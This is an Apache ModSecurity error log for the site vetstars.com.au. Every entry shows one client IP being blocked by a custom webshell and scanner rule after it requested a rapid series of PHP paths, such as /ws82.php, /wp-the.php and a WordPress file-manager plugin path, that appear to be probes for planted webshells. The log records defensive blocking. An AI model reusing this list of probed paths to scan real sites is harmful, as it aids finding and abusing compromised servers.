[Sat Apr 18 10:35:22.932298 2026] [:error] [pid 34290:tid 34334] [client 135.225.27.101:7822] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeLt6hqX6WpmmAXOBi-RZQAAAc8"]
[Sat Apr 18 10:35:23.732575 2026] [:error] [pid 34290:tid 34340] [client 135.225.27.101:7827] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeLt6xqX6WpmmAXOBi-RaQAAAdU"]
[Sat Apr 18 10:35:24.338286 2026] [:error] [pid 34237:tid 34247] [client 135.225.27.101:57073] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "aeLt7BBmX4Wq5a6rxfYYYgAAAUg"]
[Sat Apr 18 10:35:25.022150 2026] [:error] [pid 34290:tid 34335] [client 135.225.27.101:25226] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeLt7RqX6WpmmAXOBi-RbQAAAdA"]
[Sat Apr 18 10:35:25.688506 2026] [:error] [pid 9863:tid 9888] [client 135.225.27.101:25316] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeLt7TjjiypiFrTucbJaiQAAAA8"]
[Sat Apr 18 10:35:26.454912 2026] [:error] [pid 9863:tid 9889] [client 135.225.27.101:25319] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeLt7jjjiypiFrTucbJajgAAABA"]
[Sat Apr 18 10:35:27.117849 2026] [:error] [pid 13023:tid 13048] [client 135.225.27.101:25335] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/b.php"] [unique_id "aeLt7_1e7hG8DAeABB93ZwAAARc"]
[Sat Apr 18 10:35:27.714495 2026] [:error] [pid 34290:tid 34330] [client 135.225.27.101:7838] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeLt7xqX6WpmmAXOBi-RcgAAAcs"]
[Sat Apr 18 10:35:28.429522 2026] [:error] [pid 9863:tid 9884] [client 135.225.27.101:25224] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeLt8DjjiypiFrTucbJamAAAAAs"]
[Sat Apr 18 10:35:29.022701 2026] [:error] [pid 34290:tid 34335] [client 135.225.27.101:25295] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeLt8RqX6WpmmAXOBi-ReAAAAdA"]
[Sat Apr 18 10:35:29.629152 2026] [:error] [pid 9865:tid 9948] [client 135.225.27.101:25323] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sid3.php"] [unique_id "aeLt8azb5knECIY-C-j8JAAAAIs"]
[Sat Apr 18 10:35:30.193694 2026] [:error] [pid 9863:tid 9895] [client 135.225.27.101:25340] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeLt8jjjiypiFrTucbJaoQAAABY"]
[Sat Apr 18 10:35:30.861284 2026] [:error] [pid 13023:tid 13026] [client 135.225.27.101:57039] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeLt8v1e7hG8DAeABB93bgAAAQE"]
[Sat Apr 18 10:35:31.668317 2026] [:error] [pid 9970:tid 9997] [client 135.225.27.101:25298] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeLt8yYdRLRhVmaIMx0vDQAAANc"]
[Sat Apr 18 10:35:32.455246 2026] [:error] [pid 34290:tid 34339] [client 135.225.27.101:7844] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccs.php"] [unique_id "aeLt9BqX6WpmmAXOBi-RgwAAAdQ"]
[Sat Apr 18 10:35:33.111571 2026] [:error] [pid 9970:tid 9992] [client 135.225.27.101:7819] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeLt9SYdRLRhVmaIMx0vEAAAANI"]
[Sat Apr 18 10:35:33.745871 2026] [:error] [pid 9970:tid 9988] [client 135.225.27.101:25221] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeLt9SYdRLRhVmaIMx0vEgAAAM4"]
[Sat Apr 18 10:35:34.402033 2026] [:error] [pid 34290:tid 34325] [client 135.225.27.101:57033] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeLt9hqX6WpmmAXOBi-RjAAAAcY"]
[Sat Apr 18 10:35:35.015708 2026] [:error] [pid 9970:tid 9994] [client 135.225.27.101:25188] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aboutc.php"] [unique_id "aeLt9yYdRLRhVmaIMx0vHQAAANQ"]
[Sat Apr 18 10:35:35.680743 2026] [:error] [pid 34290:tid 34332] [client 135.225.27.101:57029] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeLt9xqX6WpmmAXOBi-RjgAAAc0"]
[Sat Apr 18 10:35:36.393577 2026] [:error] [pid 9863:tid 9888] [client 135.225.27.101:25281] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeLt-DjjiypiFrTucbJaqAAAAA8"]
[Sat Apr 18 10:35:37.134407 2026] [:error] [pid 9865:tid 9950] [client 135.225.27.101:25322] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeLt-azb5knECIY-C-j8KAAAAI0"]
[Sat Apr 18 10:35:37.955348 2026] [:error] [pid 9864:tid 9912] [client 135.225.27.101:57052] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fs.php"] [unique_id "aeLt-YCFeowknfXHM7ludwAAAEY"]
[Sat Apr 18 10:35:38.812814 2026] [:error] [pid 34290:tid 34336] [client 135.225.27.101:7839] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeLt-hqX6WpmmAXOBi-RkAAAAdE"]
[Sat Apr 18 10:35:39.610918 2026] [:error] [pid 34288:tid 34314] [client 135.225.27.101:25324] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeLt--TIiy__PtiLmpl6dwAAAZY"]
[Sat Apr 18 10:35:40.198064 2026] [:error] [pid 34237:tid 34243] [client 135.225.27.101:25242] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeLt_BBmX4Wq5a6rxfYYbQAAAUQ"]
[Sat Apr 18 10:35:40.916765 2026] [:error] [pid 9864:tid 9927] [client 135.225.27.101:25326] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws82.php"] [unique_id "aeLt_ICFeowknfXHM7lueQAAAFU"]
[Sat Apr 18 10:35:41.715438 2026] [:error] [pid 34237:tid 34254] [client 135.225.27.101:7871] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeLt_RBmX4Wq5a6rxfYYcAAAAU8"]
[Sat Apr 18 10:35:42.458377 2026] [:error] [pid 9864:tid 9917] [client 135.225.27.101:57048] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeLt_oCFeowknfXHM7luewAAAEs"]
[Sat Apr 18 10:35:43.830406 2026] [:error] [pid 34290:tid 34324] [client 135.225.27.101:57066] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeLt_xqX6WpmmAXOBi-RmAAAAcU"]
[Sat Apr 18 10:35:45.141143 2026] [:error] [pid 9970:tid 9982] [client 135.225.27.101:7815] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aeLuASYdRLRhVmaIMx0vKQAAAMg"]
[Sat Apr 18 10:35:45.748680 2026] [:error] [pid 34237:tid 34250] [client 135.225.27.101:25269] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeLuARBmX4Wq5a6rxfYYdQAAAUs"]
[Sat Apr 18 10:35:46.638531 2026] [:error] [pid 34290:tid 34335] [client 135.225.27.101:57064] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeLuAhqX6WpmmAXOBi-RpwAAAdA"]
[Sat Apr 18 10:35:47.319071 2026] [:error] [pid 34290:tid 34325] [client 135.225.27.101:25305] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeLuAxqX6WpmmAXOBi-RrAAAAcY"]
[Sat Apr 18 10:35:47.972698 2026] [:error] [pid 34288:tid 34316] [client 135.225.27.101:25287] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws48.php"] [unique_id "aeLuA-TIiy__PtiLmpl6ewAAAZg"]
[Sat Apr 18 10:35:48.716222 2026] [:error] [pid 34288:tid 34301] [client 135.225.27.101:57062] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeLuBOTIiy__PtiLmpl6fAAAAYk"]
[Sat Apr 18 10:35:49.796216 2026] [:error] [pid 34290:tid 34334] [client 135.225.27.101:57063] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeLuBRqX6WpmmAXOBi-RrgAAAc8"]
[Sat Apr 18 10:35:50.905164 2026] [:error] [pid 34290:tid 34330] [client 135.225.27.101:57045] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeLuBhqX6WpmmAXOBi-RtAAAAcs"]
[Sat Apr 18 10:35:51.544588 2026] [:error] [pid 34290:tid 34331] [client 135.225.27.101:57072] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aeLuBxqX6WpmmAXOBi-RtgAAAcw"]
[Sat Apr 18 10:35:52.134136 2026] [:error] [pid 9970:tid 9992] [client 135.225.27.101:25222] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeLuCCYdRLRhVmaIMx0vNgAAANI"]
[Sat Apr 18 10:35:52.743693 2026] [:error] [pid 34237:tid 34239] [client 135.225.27.101:25300] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeLuCBBmX4Wq5a6rxfYYeAAAAUA"]
[Sat Apr 18 10:35:53.359845 2026] [:error] [pid 34237:tid 34245] [client 135.225.27.101:57025] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeLuCRBmX4Wq5a6rxfYYeQAAAUY"]
[Sat Apr 18 10:35:53.992978 2026] [:error] [pid 9970:tid 9980] [client 135.225.27.101:25219] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aeLuCSYdRLRhVmaIMx0vNwAAAMY"]
[Sat Apr 18 10:35:54.819957 2026] [:error] [pid 9970:tid 9983] [client 135.225.27.101:7847] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeLuCiYdRLRhVmaIMx0vOAAAAMk"]
[Sat Apr 18 10:35:57.469840 2026] [:error] [pid 34290:tid 34329] [client 135.225.27.101:25241] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeLuDRqX6WpmmAXOBi-RuwAAAco"]
[Sat Apr 18 10:35:58.760449 2026] [:error] [pid 13023:tid 13028] [client 135.225.27.101:25158] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeLuDv1e7hG8DAeABB93jAAAAQM"]
[Sat Apr 18 10:36:00.128580 2026] [:error] [pid 9864:tid 9906] [client 135.225.27.101:25303] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxx.php"] [unique_id "aeLuEICFeowknfXHM7lugQAAAEE"]
[Sat Apr 18 10:36:01.047969 2026] [:error] [pid 9864:tid 9925] [client 135.225.27.101:7868] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeLuEYCFeowknfXHM7lugwAAAFM"]
[Sat Apr 18 10:36:02.500560 2026] [:error] [pid 34290:tid 34329] [client 135.225.27.101:57070] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeLuEhqX6WpmmAXOBi-RygAAAco"]
[Sat Apr 18 10:36:03.933208 2026] [:error] [pid 34290:tid 34340] [client 135.225.27.101:25232] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeLuExqX6WpmmAXOBi-R0AAAAdU"]
[Sat Apr 18 10:36:04.741707 2026] [:error] [pid 9865:tid 9957] [client 135.225.27.101:25160] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wen.php"] [unique_id "aeLuFKzb5knECIY-C-j8NQAAAJQ"]
[Sat Apr 18 10:36:05.526348 2026] [:error] [pid 9863:tid 9896] [client 135.225.27.101:7826] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeLuFTjjiypiFrTucbJatAAAABc"]
[Sat Apr 18 10:36:06.223021 2026] [:error] [pid 9863:tid 9888] [client 135.225.27.101:25233] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeLuFjjjiypiFrTucbJatgAAAA8"]
[Sat Apr 18 10:36:07.096283 2026] [:error] [pid 34290:tid 34339] [client 135.225.27.101:25282] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeLuFxqX6WpmmAXOBi-R1gAAAdQ"]
[Sat Apr 18 10:36:07.752058 2026] [:error] [pid 34290:tid 34333] [client 135.225.27.101:25231] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bnm.php"] [unique_id "aeLuFxqX6WpmmAXOBi-R2gAAAc4"]
[Sat Apr 18 10:36:08.348421 2026] [:error] [pid 34290:tid 34322] [client 135.225.27.101:25256] [client 135.225.27.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aeLuGBqX6WpmmAXOBi-R3gAAAcM"]
